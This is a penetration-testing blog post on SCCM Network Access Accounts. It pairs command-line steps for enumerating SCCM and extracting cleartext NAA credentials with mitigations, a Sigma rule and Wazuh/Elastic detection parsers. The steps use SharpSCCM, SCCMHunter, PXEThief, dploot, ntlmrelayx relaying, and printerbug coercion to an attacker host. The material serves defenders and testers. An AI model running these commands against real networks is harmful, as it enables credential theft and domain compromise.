SCCM Exploitation: Compromising Network Access Accounts 

Authors: Marshall Price and Connor Dowling

TL;DR: SCCM Network Access Accounts (NAA) are frequently used despite being associated with several attack primitives. In this blog post, we will explore the various methods to identify and compromise NAA. We also provide mitigation and detection guidance coupled with brand-new Wazuh and Elastic SCCM log parsers and rules.

Introduction

At GuidePoint’s Threat and Attack Simulation Team (TAS), our deep dives into client networks frequently uncover vulnerabilities tied to insecurely configured System Center Configuration Manager (SCCM) deployments. After sifting through the tremendous amount of research accomplished by numerous security professionals, our goal for this article is to distill this information and serve as a primer aimed at identifying, exploiting, and remediating some of the most common SCCM vulnerabilities we’ve observed. Focusing on the risks associated with Network Access Accounts (NAA), this article will provide guidance on how to identify and demonstrate risks associated with the use of NAA. More importantly, we aim to provide remediation guidance to ensure that, should you currently be using NAA within your environment, you are well-equipped to act appropriately and minimize your organization’s risk.

Big picture: How is SCCM used and what Are Network Access Accounts?

Before we examine the vulnerabilities linked to NAA usage within SCCM, let’s start with a basic overview of SCCM itself and how it’s usually set up in enterprise environments. SCCM, or System Center Configuration Manager, is an administrative tool from Microsoft that helps with automating tasks such as deploying software, applying patches, and ensuring devices comply with organizational security policies—all from a central location.

In a typical enterprise, SCCM is deployed with a primary site server at the core, coordinating with secondary servers and management points to manage client devices effectively. This setup allows for efficient control over an organization’s devices by defining network boundaries, grouping devices into collections, and assigning specific roles for tasks like software distribution. This streamlined structure supports both centralized management and the ability for devices to autonomously receive updates and applications per the defined policies.

Within this administrative ecosystem, Network Access Accounts (NAA) function as a legacy method to enable non-domain-joined computers or computers within an untrusted forest to retrieve content from distribution points. These accounts were pivotal during scenarios like Operating System Deployment (OSD), where a device needs to access necessary software, updates, or configurations before it has been fully integrated into the domain environment. By providing a set of credentials that the SCCM client can use to authenticate against the distribution point, NAAs ensure that all devices, regardless of their current domain status, can access and download the required content. When a Windows device is configured as an SCCM client and NAA are in use, the username and password of that account can be extracted and retrieved in cleartext. Due to the risks associated with the use of NAA, Microsoft now recommends organizations use Enhanced HTTP to deliver content from distribution points. It is also recommended that once organizations start using Enhanced HTTP in lieu of NAA, those NAA credentials are disabled from the domain and removed entirely from SCCM client filesystems. Unfortunately, NAA is often still in use or isn’t fully removed in many environments.

Identifying and Exploiting NAA

Enumerating SCCM

Prior to exploiting any vulnerabilities within SCCM such as access to an NAA, an attacker first needs to establish whether SCCM is in use and identify associated assets. This process, known as enumeration, can involve scanning the network for evidence of SCCM servers, management points, or distribution points. If an attacker has domain credentials or an authenticated session such as one gained through a relay attack, Active Directory can be queried to identify SCCM-associated accounts or computer objects. In this section, we will demonstrate a handful of techniques an attacker or a penetration tester may use to identify SCCM-related assets in an Active Directory environment.

Enumeration From Windows

One position an attacker may find themselves in is with command and control established under a domain user context on a workstation. These user accounts often are over-privileged, offering local administrator access on the victim account’s workstation. NAA accounts are often misconfigured, offering even greater privileges such as local administrator access to many additional servers or even high-level domain privileges. An attacker in this position can leverage PowerShell or any other tool that can query WMI or LDAP to identify whether the host they control is an SCCM asset.

In this instance, we’ve used ADSISearcher to demonstrate a simple LDAP query. Similar queries can be executed with a C2 framework of choice.

([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}

To enumerate SCCM from local WMI namespace, PowerShell can be used with either the Get-WMIObject or Get-CimInstance commandlets to query the root/ccm namespace.

Get-WmiObject -Namespace 'root/ccm' -Query 'SELECT * FROM SMS_Authority'

Get-CimInstance -Namespace root/ccm -Query 'SELECT * FROM SMS_Authority'

Wbemtest.exe is a graphical tool included with Windows for testing and troubleshooting Windows Management Instrumentation (WMI) and Common Information Model (CIM) operations. It allows you to connect to a local or remote WMI namespace, query data using WMI Query Language (WQL), browse classes and instances, and modify WMI data for management and diagnostic purposes. After connecting to the root/ccm namespace, clicking the query box will enable you to execute WQL queries within this namespace.

After double-clicking the returned object, properties such as CurrentManagementPoint can be viewed.

Another tool called SharpSCCM can be used to enumerate SCCM and perform exploitation. This C# binary, created by Chris Thompson, can be leveraged with popular C2 frameworks such as Cobalt Strike with functions such as Execute-Assembly or third-party Beacon Object Files (BOF) such as InlineExecuteAssembly. Much of the enumeration functionality under the hood involves WQL queries that are automated and could be performed manually using the previously mentioned methods.

.\SharpSCCM.exe local site-info

Custom queries can be run manually using the local query option.

.\SharpSCCM.exe local query "SELECT CurrentManagementPoint FROM SMS_Authority"

Enumeration From Linux

For those who prefer Linux based tooling, there are several options to enumerate SCCM assets in Active Directory. One technique that doesn’t require cleartext credentials is relaying NTLM to LDAP or LDAPS and leveraging an interactive LDAP shell to run fuzzy searches. This technique relies on additional vulnerabilities such as missing LDAP signing and LDAP secure channel binding but is frequently seen during our engagements. Sometimes, a successful relay to LDAP/LDAPS provides more attractive attack paths such as Resource Based Constrained Delegation attacks, however, a low privileged account may not offer this opportunity and a misconfigured NAA may be a chance to increase privileges or as we will show shortly, provide a foothold with cleartext credentials. 

To accomplish this, ntlmrelayx.py from the Impacket library can be used to relay NTLM to an LDAP/LDAPS service on a domain controller.

python3 ntlmrelayx.py -t ldaps://domain_controller_ip -smb2support --remove-mic -6 -i

Once an interactive shell is obtained, fuzzy searches for common terms associated with SCCM such as “sccm” “naa” or “mecm” will often provide valuable information.

If credentials are already obtained, SCCMHunter, a tool by Garret Foster, can be used to enumerate and exploit vulnerabilities in SCCM. This Python-based tool searches Active Directory for SCCM-related assets by examining the System Management Container and performing fuzzy searches for anything containing “SCCM” or “MECM.” Additionally, this tool will provide valuable information such as the SMB Signing status of the SCCM server, and what roles it has such as whether it’s a site server, distribution point or hosts MSSQL or WSUS services. The examples below demonstrate several recon functions of SCCMHunter.py.

python3 sccmhunter.py find -u <domain_user> -p <password> -d <domain> -dc-ip <domain_controller_ip>

python3 sccmhunter.py smb -u <domain_user> -p <password> -d <domain> -dc-ip <domain_controller_ip>

Although these are some of our favorite methods to enumerate SCCM assets, they are not all-encompassing. Any tool that can execute LDAP queries, such as Windapsearch, can be used. Often, something simple like a NetExec SMB scan will identify SCCM-related infrastructure due to the hosts’ naming conventions. 

Extracting NAA Credentials

After identifying the use of SCCM within a network and sufficiently mapping out associated SCCM assets, an attacker can then transition to the exploitation phase. This initial step commonly involves acquiring NAA credentials. The specific techniques applied will vary based on the operating system of the attacker’s host or pivot machine.

Exploitation with Windows-Based Tooling.

SharpSCCM

SharpSCCM, previously used for enumeration, also has extensive exploitation functionality built in. In many ways, this tool is the Swiss Army Knife for identifying and exploiting the SCCM ecosystem from a Windows host. To extract local NAA credentials from an SCCM registered client, SharpSCCM offers two methods: WMI and Disk.

DISK METHOD

When Disk method is selected, SharpSCCM accesses policy secrets contained within the local WMI repository file–OBJECTS.DATA located at C:\Windows\System32\wbem\Repository–and decrypts them using the corresponding System DPAPI masterkey. This method may provide credentials that have been previously deleted.

.\SharpSCCM.exe local secrets -m disk

WMI METHOD

This method connects and retrieves policy secrets by querying the local WMI namespace Root\CCM\Policy\Machine\actualconfig.

.\SharpSCCM.exe local secrets -m wmi

SharpSCCM can also be used to interact with a remote SCCM management HTTP endpoint and retrieve policy secrets containing NAA Credentials. For this method, you must possess either machine account credentials or an account with local administrator privileges on a client host. 

If running under the context of SYSTEM or local administrator, you can interact directly with the SCCM management endpoint and retrieve policies containing encrypted secrets.

.\SharpSCCM.exe get secrets

Otherwise, known machine account credentials can be used to create a new device record and retrieve the same policies.

SharpSCCM.exe get secrets -r <desired_computer_name> -u <computer_accountName$> -p <password>

PXETHIEF

When Preboot Execution Environment (PXE) is configured on SCCM, several vulnerabilities can exist. Of these, perhaps the most significant is if the PXE deployment is configured to support “all known computers” on a distribution point and requires no password or is configured with a weak password. PXEThief, a tool developed by Christopher Panayi, is the result of detailed research he performed on ConfigMgr’s PXE/OSD deployments and vulnerabilities that can reside within. PXETHIEF can be used to identify SCCM assets based on a PXE DHCP request/reply and automatically download the encrypted media variables file which contains a PFX certificate allowing the retrieval of policies that may contain credentials such as NAA credentials or credentials used in Task Sequences. 

To accomplish this, PXETHIEF first identifies the SCCM server through DHCP or if the appropriate option is selected, by specifying the SCCM server via the command line. Once the SCCM server is identified, PXETHIEF sends a PXE request to the SCCM server to identify the TFTP location to retrieve the encrypted media variables file and the BCD file. PXETHIEF will then supply a tftp command that can be copied and executed to retrieve the media variables file.

python .\pxethief.py 1

Following retrieval of the media variables file with the tftp command PXETHIEF provided, PXETHIEF can be used to identify a hash of the password that was used to encrypt the variables file if a password was required when the SCCM admin created the PXE distribution.

python .\pxethief.py 5 <media_variable_file>

Once this hash is cracked with this Hashcat module, the password can then be passed to PXETHIEF to decrypt and retrieve the contents of the media variables file. These contents contain a certificate that will be used to request the SCCM policies and task sequences which may contain credentials such as the NAA credential.

python .\pxethief.py 3 <media_variables_file> <cracked_password>

Exploitation from Linux

SCCMHunter

For those who prefer Linux-based tooling, there are several options available. The most comprehensive Linux-based tool for exploiting SCCM is SCCMHunter, which was created by Garrett Foster. The “http” module within SCCMHunter allows an attacker who possesses domain credentials to create and register a computer with the http management point and subsequently download the policy files, which may contain NAA credentials. SCCMHunter will de-obfuscate these documents and retrieve the credentials within.

python3 sccmhunter.py http -u <user_name> -p <password> -d <domain> -dc-ip <domain_controller_IP> -ldaps -auto

Additionally, if a computer account has already been created, it can be specified via command line arguments and used to register with SCCM and retrieve policy documents.

python3 sccmhunter.py http -u <domain_account> -p <password> -cn <computer_account> -cp <computer_password> -d <domain> -dc-ip <domain_controller_ip>

It is important to note that both methods result in a computer account being registered within SCCM. This computer account and the SCCM registration are artifacts that should be cleaned up if accomplished during a penetration test. 

NTLM Relay to SCCM HTTP Management Point

Perhaps an even more interesting avenue of attack is relaying the NTLM credentials of a machine account to the HTTP endpoint, registering a fake computer certificate with SCCM, and, in turn, using this fake registration to retrieve policy documents. This is made possible by using a fork of ntlmrelayx by Tw1sm.

This technique, or rather chain of techniques developed by Matt Creel, begins with low-privilege sock sessions. Many penetration testers can attest that sometimes after spoofing answers to LLMNR, NetBios Name Service, or mDNS requests, the only authenticated sessions that come in are low-privileged, non-admin sessions. With Tw1sm’s fork of ntlmrelayx, we can abuse these low-privileged socks sessions to coerce the target machine into authenticating to our “attacker-controlled” machine and relay this machine account authentication to the SCCM HTTP endpoint. Twi1sm’s added functionality, will create a certificate, register it with the SCCM management point, and then use that registration to request policy documents. The resulting NAA credentials may provide the first cleartext credentialed foothold into the Active Directory environment or if improperly privileged, a direct path to administrator.

Note: This demonstration assumes low-privileged socks sessions have already been obtained through multi-cast name resolution spoofing and prior use of ntlmrelayx.py. This attack path will require multiple instances of ntlmrelayx running at the same time.

To begin this attack path, you must first execute the “stopservers” command on the original ntlmrelayx instance.

Once this is done, a new instance of ntlmrelayx can be started. This new instance must use Tw1sm’s fork which adds functionality allowing relay to the SCCM management point’s http endpoint.

ntlmrelayx.py -t http://sccm.fqdn.domain/ccm_system_windowsauth/request --sccm -sccm-device <newDeviceName> --sccm-fqdn <insertSCCMFQDN> --sccm-server <sccmNetBiosName> --sccm-sleep 10 -smb2support -of captured_hashes.txt

Once Tw1sm’s fork of ntlmrelayx is running and pointed towards the HTTP endpoint of the target sccm server, printerbug.py can be used in conjunction with proxychains to leverage the previously obtained authenticated sessions on our first ntlmrelayx instance to coerce the target machine into authenticating to our new instance of ntlmrelayx.

proxychains -q python3 printerbug.py <domain/account>@target_ip attacker_ip -port 445 -no-pass

Upon receiving this machine account NTLM authentication, Tw1sm’s ntlmrelayx will create a certificate, use it to register a fake machine within SCCM, and subsequently download and decrypt the policy files. 

Extract Policy from SCCM Client Machine

Much like we demonstrated with SharpSCCM, if administrator privileges are held over a machine that is an SCCM client, it’s possible to extract these with two tools that use similar functionality: DPLoot and a specific version of SystemDPAPI.py.  

Of these two tools, DPLoot offers the greatest functionality as it can retrieve credentials contained in Windows\\System32\\wbem\\Repository\\OBJECTS.DATA or by using WMI to query the root\\ccm\\Policy\\Machine\\RequestedConfig namespace. As we discussed earlier, the OBJECTS.DATA file may contain historical credentials that may be used elsewhere or are still valid.

To retrieve credentials with DPLoot, use the SCCM module.

dploot sccm -u <username> -p <password> -d <domain> <target ip>

Note: Use -wmi to query the WMI RequestedConfig namespace to retrieve credentials.

How to Prevent and Detect SCCM NAA Harvesting

Misconfiguration Manager

Misconfiguration Manager, created by Duane Michael, Chris Thompson, and Garret Foster, is a centralized knowledge database of all known SCCM misconfigurations as well as methods to prevent and detect the abuse of these vulnerabilities. Detection methods listed as “DETECT” and prevention methods, listed as “PREVENT,” can be referenced when remediating or creating detections for various attack techniques used against SCCM. Additionally, GuidePoint has provided several mitigation guidelines and detection resources such as log parsers and SIGMA rules below.

Mitigation

• The number one recommendation for organizations using SCCM NAA, is to not use NAA.
  • Microsoft recommends organizations transition to using HTTPS with a Content Access Token or Client PKI certificate, or “Enhanced HTTP.” Enhanced HTTP provides a token-based authentication schema allowing organizations to transition away from legacy NAA without needing to deploy PKI infrastructure. For organizations with PKI infrastructure already in place, client PKI certificates can be used in lieu of NAA credentials.
• Configure the Network Access Account (NAA) with the minimal privileges necessary for its operations.
  • There may be rare cases where an organization needs to use NAA. Additionally, we recognize that transitioning to Enhanced HTTP may take time for planning, testing, and execution. In these cases, it’s important to ensure the existing NAA is configured with minimal privileges and doesn’t provide a potential attacker with an avenue for administrator privileges over some or all hosts.
• After transitioning away from NAA, ensure the NAA account credentials are changed and disabled.
  • If an organization stops using NAA, those credentials do not get deleted from the previously mentioned OBJECT.DATA file. If the credentials are not changed and the account is not disabled, this could lead to an attacker taking control over this Domain User (NAA). 
• Configure a long complex password for any PXE boot media deployment.
  • As we’ve demonstrated, PXE media variables files may contain NAA credentials or other credentials. Ensure that this password is long and complex decreasing the likelihood an attacker can crack the hash and decrypt the contents.
• Decrease the use of NTLM.
  • Several of the techniques demonstrated in this article rely on NTLM relaying. Although we recognize that many applications require NTLM, decreasing its use with the goal of transitioning to a Kerberos-only environment can help prevent NTLM-related attacks such as relaying.
  • As this recommendation may not be feasible for some organizations or requires a lengthy transition period, requiring HTTPS with Enhanced Protection for Authentication can decrease the risk associated with NTLM relaying attacks to HTTP endpoints. 
• Network Segmentation.
  • Properly segmenting networks will decrease an attacker’s ability to spoof multi-cast name resolution responses as these typically don’t leave the broadcast domain. This can decrease the battlespace in which an attacker can listen for these protocols and subsequently coax authentication.
• Deploy End Point Detection and Response (EDR).
  • In our experience, EDR tooling increases the difficulty of retrieving NAA credentials from SCCM clients. Although not a solution, widespread deployment of EDR will present hurdles an attacker must jump to retrieve credentials successfully, increasing the likelihood of detection or prevention.

Detection

Organizations should not just settle for mitigating SCCM NAA harvesting. Enacting an active defense with robust detection technology can help detect an attacker earlier and may help prevent further risk from being realized. To assist organizations in this effort, GuidePoint has several recommendations and resources to provide.

• Transition away from NAA but use the account as a honey object. 
  • Remember how historical accounts can be extracted from the OBJECTS.DATA file on SCCM clients? Defenders can leverage this to their advantage by creating a detection rule to serve as a deception technology. Once NAA is transitioned out and no longer being used, change the password to the NAA, ensuring that it is long, complex, and stored securely. Following this, defenders should create a detection rule alerting to failed logins for this account. An attacker may not realize this account is serving as a honey object, and when they attempt to validate the credentials, they will alert the organization’s security team.
• Monitoring usage of NAA credentials.
  • Organizations that cannot immediately transition away from NAA should carefully monitor its usage. As NAA only exists to allow non domain joined computers to retrieve content from an SCCM distribution point, any authentication to a resource outside of these should be viewed with extreme suspicion. By ingesting Windows Event IDs 4624 and 4625 into a Security Information and Event Management platform, organizations can create a detection rule that alerts anytime NAA is used to access an asset other than organizational SCCM servers. To assist organizations with this, GuidePoint created a sample SIGMA detection rule to detect successful authentication to assets other than a pre-defined list of SCCM servers. This rule can serve as an example and may be converted or modified as necessary to fit your detection goals. The SIGMA rule can be found at the end of this section. 
  • As NAA credentials can be used to retrieve content from distribution points, organizations that cannot transition away from these accounts should monitor their usage by constructing a dashboard, baselining usage such as the time of day/week new machines are joined, etc., and hunting for anomalies.
• Monitor MP_RegistrationManager.log
  • This log file is located on the site server on the install drive at SMS_CCM\logs. Typically, this will be something like C:\Program Files\SMS_CCM\logs.
  • The SCCM Management Point creates entries in this log when new clients register. This can be used to detect attacks involving new client registration such as those actions taken by SCCMHunter’s http module. To provide proof-of-concept and assist organizations with this endeavor, GuidePoint has created a Wazuh log decoder for this log type and a detection rule for new client registrations. Additionally, GuidePoint has created an Elastic grok log processor for the pertinent SCCM log message types. For organizations not using Wazuh, this will provide a starting point that can be translated into the decoding/detection login of other SIEMs. These parsers and detection rules can be found at the end of this section.

Sigma Rules

Sigma is a SIEM-agnostic, generic open-source format for writing detection rules that is legible and easier to write. Organizations can translate this format into SIEM-specific detection queries. Many tools exist to assist with this translation, such as uncoder.io, ChatGPT, or sigconverter.io.

GuidePoint created a SIGMA rule designed to detect NAA authentication attempts to any asset other than a pre-defined list of SCCM servers. This sigma rule should be tailored for every environment.

title: Unauthorized Logon Attempts by SCCM NAA
description: Detects authentication attempts by SCCM NAA on any host
  other than the SCCM server.
status: experimental
author: Marshall Price
date: 2024-03-03
logsource:
  category: windows:security
  product: windows
  service: security
detection:
  selection:
    EventID:
       - 4624
       - 4625
    TargetUserName: <Insert_NAA_Account>
    ComputerName:
    - '*'
  filter:
    ComputerName:
    - <Insert_SCCM_Server>
    - <Insert_SCCM_Server2>
  condition: selection and not filter
falsepositives:
- Legitimate use of the SCCM NAA on other systems for administrative purposes
  not documented.
level: high

Wazuh MP_RegistrationManager.log Decoder and Client Registration Detection

During research for this blog post, GuidePoint confirmed that new client registration events are recorded in the MP_RegistrationManager.log. Unfortunately, the format of this log was not in accordance with Windows Event logs. This necessitated the development of a custom decoder to extract the key “client registration” message type. GuidePoint is releasing this decoder to allow other organizations or individuals to build upon this work. This decoder only attempts to parse out the message type, which we found useful in detecting attacks related to SCCM client registrations.

Wazuh Decoders

<decoder name="sccm">
 <prematch>\W\W\WLOG\W</prematch>
 </decoder>
<decoder name="sccm-registration">
      <parent>sccm</parent>
<regex>(Processing\sRegistration\srequest\sfrom\sClient)\s'(\.*)'\.*time="(\.*)"\sdate="(\.*)"\scomponent="(\.*)"\scontext="(\.*)"</regex>
      <order>message,client,time,date,component,context</order>
</decoder>

Wazuh SCCM New Client Detection Rules

<group name="SCCM,">
<rule id="110069" level="0">
    <decoded_as>sccm</decoded_as>
    <Description>SCCM MP Registration Logs</Description>
</rule>
<rule id="110070" level="12">
    <if_sid>110069</if_sid>
    <match>Processing Registration request from Client</match>
    <description>SCCM New Client Registration</description>
    </rule>
</group>

For organizations utilizing Wazuh the following steps are necessary to make use of this decoder and rule.

1. Ensure that Wazuh agents are ingesting the MP_RegistrationManager.log file by modifying the ossec.conf or agent.conf (for centralized management) file according to these instructions [https://documentation.wazuh.com/current/user-manual/capabilities/log-data-collection/monitoring-log-files.html].
2. Copy the two decoders above into the local_decoder.xml file located at /var/ossec/etc/decoders/local_decoder.xml on the Wazuh Manager server.
3. Adjust the “rule id” of the above rules to fit into your current rule schema. For example, if this is your first custom rule, then the first rule would have a rule id of 100000 and the second rule would be 100001.
4. Copy these rules into your local_rules.xml file at /var/ossec/etc/rules/local_rules.xml on the Wazuh Manager.
5. Restart the Wazuh service.

Elastic Grok Parsers for SCCM Logs

GuidePoint created an Elastic grok parser to parse client registration message types and other valuable SCCM message types using Elastic. Configuring Elastic is out of the scope of this blog; however, we have provided the grok processor below for use.

[ { "grok": { "field": "message", "patterns": [ "<\\!\\[LOG\\[%{DATA:error_message}Client '%{HOSTNAME:Client}'\\]LOG\\]\\!><time=\"%{NOTSPACE:time}\" date=\"%{NOTSPACE:date}\" component=\"%{NOTSPACE:component}\" context=\"%{NOTSPACE:context}\" type=\"%{NUMBER:type}\" thread=\"%{NUMBER:thread}\" file=\"%{GREEDYDATA:file}\">", "%{LOGLEVEL:severity}: %{GREEDYDATA:error_message} system '%{WORD:sccm_client}' - %{DATA:file_path_simple} at (?<creation_date>%{MONTHNUM}/%{MONTHDAY}/%{YEAR}) %{TIME:creation_time}\\.\\~\\s+\\$\\$<%{DATA:component}><(?<date_logged>%{MONTHNUM}-%{MONTHDAY}-%{YEAR}) %{TIME:time_logged}\\+(?<timezone>\\d{3})><thread=(?<thread>\\d+) \\((?<thread_hex>0x[A-Fa-f0-9]+)\\)>", "---> %{LOGLEVEL:severity}: %{DATA:error_message} to the \\\\\\\\%{DATA:target_machine}\\\\admin\\$.*using account '%{DATA:source_account}'\\s+\\$\\$<%{DATA:component}><%{DATE_US:date} %{TIME:time}\\.%{INT:milliseconds}\\+%{INT:timezone}><thread=%{NUMBER:thread} \\(%{BASE16NUM:thread_hex}\\)>", "---> %{GREEDYDATA:error_message} \\(%{DATA:logon_type}\\) using account %{NOTSPACE:source_account} \\(%{BASE16NUM:error_code}\\) \\${2}<%{DATA:component}><%{DATE_US:date} %{TIME:time}\\.%{INT:milliseconds}\\+%{INT:timezone}><thread=%{NUMBER:thread} \\(%{BASE16NUM:thread_hex}\\)>" ] } } ]

To use this grok parser, the Elastic agent must collect the following logs:

• MP_RegistrationManager.log
• adsysdis.log
• ccm.log

These parsers will enable the processing of SCCM logs and the creation of Elastic dashboards which can be used to monitor or hunt through newly registered clients or other important SCCM event logs.

What’s next?

We are continuing to explore the attack surface of SCCM from both an offensive and defensive perspective. In the future, we will examine attack techniques used for privilege escalation and SCCM takeover and discuss ways to mitigate and detect these attacks.

Tools Used

SharpSCCM – Versatile tool that can be used to identify and compromise NAA credentials among other SCCM misconfigurations.

SCCMHunter – Multifaceted tool written in python that can be used to retrieve NAA credentials and abuse several other SCCM misconfigurations.

DPLoot – Python rewrite of SharpDPAPI that can be used to retrieve NAA credentials from WMI as well as decrypt them using masterkeys retrieved from DPAPI.

Tw1sm’s fork of ntlmrelayx – Used to relay NTLM authentication to the SCCM management endpoint.

SystemDPAPIdump.py – Can be used to retrieve NAA credentials and decrypt them using masterkeys retrieved from DPAPI.

PXETHIEF – Used to retrieve credentials stored in SCCM collection variables delivered during the PXE boot process.

Hashcat ConfigMgr Module – Used to decrypt hash for collection variables file retrieved by PXETHIEF.

PrinterBug.py – Used to coerce authentication from a machine account to relay to the SCCM management endpoint.

Impacket – ntlmrelayx used to relay authentication to either LDAP/LDAPS or SMB depending on objective.

Responder – Used to spoof replies to name resolution traffic such as LLMNR, NBT-NS, mDNS.

Powershell – Used to interact with WMI to enumerate SCCM assets.

References

System Center Configuration Manager

Pulling Passwords out of Configuration Manager

Exploring SCCM by Unobfuscating Network Access Accounts

The Phantom Credentials of SCCM: Why the NAA Won’t Die

HTTPS with a Content Access Token or Client PKI certificate

Enhanced HTTP

Enhanced Protection for Authentication

Misconfiguration Manager

Elastic Grok Processor

SIGMA Rules